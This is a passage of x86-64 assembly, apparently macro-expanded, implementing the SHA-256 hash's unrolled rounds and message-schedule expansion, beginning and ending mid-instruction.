[rsp+8*4+((1024+15-(3*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+4*8] bswap rbx mov [rsp+8*4+((1024+15-(4*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+5*8] bswap rbx mov [rsp+8*4+((1024+15-(5*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+6*8] bswap rbx mov [rsp+8*4+((1024+15-(6*(1+1)+1)) MOD (16))*4], rbx mov rbx, [rdx+7*8] bswap rbx mov [rsp+8*4+((1024+15-(7*(1+1)+1)) MOD (16))*4], rbx mov edi, [rsp+((1024+7-(0+3)) MOD (8))*4] mov eax, [rsp+((1024+7-(0+6)) MOD (8))*4] xor eax, [rsp+((1024+7-(0+5)) MOD (8))*4] mov ecx, [rsp+((1024+7-(0+7)) MOD (8))*4] mov edx, [rsp+((1024+7-(0+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(0)*4] add edx, [rsp+8*4+((1024+15-(0)) MOD (16))*4] add edx, [rsp+((1024+7-(0)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(0+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(0+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(0+4)) MOD (8))*4] mov [rsp+((1024+7-(0+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(0)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(1+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(1)*4] add edi, [rsp+8*4+((1024+15-(1)) MOD (16))*4] add edi, [rsp+((1024+7-(1)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(1+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(1+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(1+4)) MOD (8))*4] mov [rsp+((1024+7-(1+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(1)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(2+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(2)*4] add edx, [rsp+8*4+((1024+15-(2)) MOD (16))*4] add edx, [rsp+((1024+7-(2)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(2+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(2+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(2+4)) MOD (8))*4] mov [rsp+((1024+7-(2+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(2)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(3+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(3)*4] add edi, [rsp+8*4+((1024+15-(3)) MOD (16))*4] add edi, [rsp+((1024+7-(3)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(3+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(3+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(3+4)) MOD (8))*4] mov [rsp+((1024+7-(3+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(3)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(4+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(4)*4] add edx, [rsp+8*4+((1024+15-(4)) MOD (16))*4] add edx, [rsp+((1024+7-(4)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(4+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(4+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(4+4)) MOD (8))*4] mov [rsp+((1024+7-(4+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(4)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(5+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(5)*4] add edi, [rsp+8*4+((1024+15-(5)) MOD (16))*4] add edi, [rsp+((1024+7-(5)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(5+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(5+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(5+4)) MOD (8))*4] mov [rsp+((1024+7-(5+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(5)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(6+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(6)*4] add edx, [rsp+8*4+((1024+15-(6)) MOD (16))*4] add edx, [rsp+((1024+7-(6)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(6+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(6+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(6+4)) MOD (8))*4] mov [rsp+((1024+7-(6+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(6)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(7+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(7)*4] add edi, [rsp+8*4+((1024+15-(7)) MOD (16))*4] add edi, [rsp+((1024+7-(7)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(7+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(7+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(7+4)) MOD (8))*4] mov [rsp+((1024+7-(7+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(7)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(8+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(8)*4] add edx, [rsp+8*4+((1024+15-(8)) MOD (16))*4] add edx, [rsp+((1024+7-(8)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(8+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(8+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(8+4)) MOD (8))*4] mov [rsp+((1024+7-(8+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(8)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(9+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(9)*4] add edi, [rsp+8*4+((1024+15-(9)) MOD (16))*4] add edi, [rsp+((1024+7-(9)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(9+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(9+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(9+4)) MOD (8))*4] mov [rsp+((1024+7-(9+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(9)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(10+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(10)*4] add edx, [rsp+8*4+((1024+15-(10)) MOD (16))*4] add edx, [rsp+((1024+7-(10)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(10+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(10+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(10+4)) MOD (8))*4] mov [rsp+((1024+7-(10+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(10)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(11+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(11)*4] add edi, [rsp+8*4+((1024+15-(11)) MOD (16))*4] add edi, [rsp+((1024+7-(11)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(11+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(11+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(11+4)) MOD (8))*4] mov [rsp+((1024+7-(11+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(11)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(12+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(12)*4] add edx, [rsp+8*4+((1024+15-(12)) MOD (16))*4] add edx, [rsp+((1024+7-(12)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(12+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(12+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(12+4)) MOD (8))*4] mov [rsp+((1024+7-(12+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(12)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(13+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(13)*4] add edi, [rsp+8*4+((1024+15-(13)) MOD (16))*4] add edi, [rsp+((1024+7-(13)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(13+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(13+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(13+4)) MOD (8))*4] mov [rsp+((1024+7-(13+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(13)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(14+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 add edx, [rsi+(14)*4] add edx, [rsp+8*4+((1024+15-(14)) MOD (16))*4] add edx, [rsp+((1024+7-(14)) MOD (8))*4] xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(14+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(14+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(14+4)) MOD (8))*4] mov [rsp+((1024+7-(14+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(14)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(15+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 add edi, [rsi+(15)*4] add edi, [rsp+8*4+((1024+15-(15)) MOD (16))*4] add edi, [rsp+((1024+7-(15)) MOD (8))*4] xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(15+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(15+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(15+4)) MOD (8))*4] mov [rsp+((1024+7-(15+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(15)) MOD (8))*4], ecx label1: add rsi, 4*16 mov edx, [rsp+((1024+7-(0+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(0+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((0)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((0)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((0)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(0)) MOD (16))*4] xor ebp, edi add edx, [rsi+(0)*4] ror edi, 11 add edx, [rsp+((1024+7-(0)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(0)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(0+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(0+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(0+4)) MOD (8))*4] mov [rsp+((1024+7-(0+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(0)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(1+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(1+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((1)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((1)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((1)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(1)) MOD (16))*4] xor ebp, edx add edi, [rsi+(1)*4] ror edx, 11 add edi, [rsp+((1024+7-(1)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(1)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(1+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(1+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(1+4)) MOD (8))*4] mov [rsp+((1024+7-(1+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(1)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(2+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(2+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((2)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((2)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((2)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(2)) MOD (16))*4] xor ebp, edi add edx, [rsi+(2)*4] ror edi, 11 add edx, [rsp+((1024+7-(2)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(2)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(2+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(2+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(2+4)) MOD (8))*4] mov [rsp+((1024+7-(2+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(2)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(3+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(3+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((3)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((3)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((3)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(3)) MOD (16))*4] xor ebp, edx add edi, [rsi+(3)*4] ror edx, 11 add edi, [rsp+((1024+7-(3)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(3)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(3+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(3+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(3+4)) MOD (8))*4] mov [rsp+((1024+7-(3+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(3)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(4+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((4)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((4)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((4)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(4)) MOD (16))*4] xor ebp, edi add edx, [rsi+(4)*4] ror edi, 11 add edx, [rsp+((1024+7-(4)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(4)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(4+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(4+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(4+4)) MOD (8))*4] mov [rsp+((1024+7-(4+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(4)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(5+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((5)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((5)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((5)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(5)) MOD (16))*4] xor ebp, edx add edi, [rsi+(5)*4] ror edx, 11 add edi, [rsp+((1024+7-(5)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(5)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(5+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(5+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(5+4)) MOD (8))*4] mov [rsp+((1024+7-(5+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(5)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(6+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((6)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((6)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((6)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(6)) MOD (16))*4] xor ebp, edi add edx, [rsi+(6)*4] ror edi, 11 add edx, [rsp+((1024+7-(6)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(6)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(6+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(6+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(6+4)) MOD (8))*4] mov [rsp+((1024+7-(6+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(6)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(7+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((7)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((7)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((7)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(7)) MOD (16))*4] xor ebp, edx add edi, [rsi+(7)*4] ror edx, 11 add edi, [rsp+((1024+7-(7)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(7)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(7+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(7+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, [rsp+((1024+7-(7+4)) MOD (8))*4] mov [rsp+((1024+7-(7+4)) MOD (8))*4], edi ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add ecx, ebp mov [rsp+((1024+7-(7)) MOD (8))*4], ecx mov edx, [rsp+((1024+7-(8+2)) MOD (8))*4] xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4] and edx, edi xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4] mov ebp, edi ror edi, 6 ror ebp, 25 xor ebp, edi ror edi, 5 xor ebp, edi add edx, ebp mov ebp, [rsp+8*4+((1024+15-((8)-2)) MOD (16))*4] mov edi, [rsp+8*4+((1024+15-((8)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((8)-7)) MOD (16))*4] mov ebp, edi shr ebp, 3 ror edi, 7 add ebx, [rsp+8*4+((1024+15-(8)) MOD (16))*4] xor ebp, edi add edx, [rsi+(8)*4] ror edi, 11 add edx, [rsp+((1024+7-(8)) MOD (8))*4] xor ebp, edi add ebp, ebx mov [rsp+8*4+((1024+15-(8)) MOD (16))*4], ebp add edx, ebp mov ebx, ecx xor ecx, [rsp+((1024+7-(8+6)) MOD (8))*4] and eax, ecx xor eax, [rsp+((1024+7-(8+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add eax, edx add edx, [rsp+((1024+7-(8+4)) MOD (8))*4] mov [rsp+((1024+7-(8+4)) MOD (8))*4], edx ror ebp, 22 xor ebp, ebx ror ebx, 11 xor ebp, ebx add eax, ebp mov [rsp+((1024+7-(8)) MOD (8))*4], eax mov edi, [rsp+((1024+7-(9+2)) MOD (8))*4] xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4] and edi, edx xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4] mov ebp, edx ror edx, 6 ror ebp, 25 xor ebp, edx ror edx, 5 xor ebp, edx add edi, ebp mov ebp, [rsp+8*4+((1024+15-((9)-2)) MOD (16))*4] mov edx, [rsp+8*4+((1024+15-((9)-15)) MOD (16))*4] mov ebx, ebp shr ebp, 10 ror ebx, 17 xor ebp, ebx ror ebx, 2 xor ebx, ebp add ebx, [rsp+8*4+((1024+15-((9)-7)) MOD (16))*4] mov ebp, edx shr ebp, 3 ror edx, 7 add ebx, [rsp+8*4+((1024+15-(9)) MOD (16))*4] xor ebp, edx add edi, [rsi+(9)*4] ror edx, 11 add edi, [rsp+((1024+7-(9)) MOD (8))*4] xor ebp, edx add ebp, ebx mov [rsp+8*4+((1024+15-(9)) MOD (16))*4], ebp add edi, ebp mov ebx, eax xor eax, [rsp+((1024+7-(9+6)) MOD (8))*4] and ecx, eax xor ecx, [rsp+((1024+7-(9+6)) MOD (8))*4] mov ebp, ebx ror ebx, 2 add ecx, edi add edi, 